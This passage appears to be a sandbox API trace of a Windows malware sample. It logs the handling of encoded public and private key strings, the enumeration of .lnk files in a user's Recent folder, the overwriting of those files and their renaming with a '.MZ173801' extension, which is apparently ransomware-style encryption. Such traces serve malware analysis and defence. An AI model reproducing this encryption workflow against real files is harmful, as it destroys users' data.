dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.487] GetCurrentThreadId () returned 0xab4 [0148.487] GetCurrentThreadId () returned 0xab4 [0148.487] GetCurrentThreadId () returned 0xab4 [0148.487] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kbg6SBTSjJvSFEUP4JMP.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kbg6sbtsjjvsfeup4jmp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.487] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.487] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.487] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x5a7 [0148.487] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.487] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x5a7, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x5a7, lpOverlapped=0x0) returned 1 [0148.487] CloseHandle (hObject=0x280) returned 1 [0148.488] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kbg6SBTSjJvSFEUP4JMP.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kbg6sbtsjjvsfeup4jmp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.488] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x5a7, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x5a7, lpOverlapped=0x0) returned 1 [0148.489] CloseHandle (hObject=0x280) returned 1 [0148.491] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kbg6SBTSjJvSFEUP4JMP.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kbg6sbtsjjvsfeup4jmp.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kbg6SBTSjJvSFEUP4JMP.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kbg6sbtsjjvsfeup4jmp.lnk.mz173801")) returned 1 [0148.491] GetCurrentThreadId () returned 0xab4 [0148.491] GetCurrentThreadId () returned 0xab4 [0148.491] GetCurrentThreadId () returned 0xab4 [0148.491] GetCurrentThreadId () returned 0xab4 [0148.491] GetCurrentThreadId () returned 0xab4 [0148.491] GetCurrentThreadId () returned 0xab4 [0148.492] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3a003cf, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3a003cf, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3a003cf, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="KbOxgphNJ70M.flv.lnk", cAlternateFileName="KBOXGP~1.LNK")) returned 1 [0148.492] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.492] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.492] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KbOxgphNJ70M.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kboxgphnj70m.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3a003cf, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3a003cf, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3a003cf, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3e5)) returned 1 [0148.492] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KbOxgphNJ70M.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kboxgphnj70m.flv.lnk")) returned 0x20 [0148.492] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KbOxgphNJ70M.flv.lnk", dwFileAttributes=0x80) returned 1 [0148.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0148.495] GetCurrentThreadId () returned 0xab4 [0148.495] GetCurrentThreadId () returned 0xab4 [0148.495] GetCurrentThreadId () returned 0xab4 [0148.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.495] GetCurrentThreadId () returned 0xab4 [0148.495] GetCurrentThreadId () returned 0xab4 [0148.495] GetCurrentThreadId () returned 0xab4 [0148.496] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KbOxgphNJ70M.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kboxgphnj70m.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.496] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, 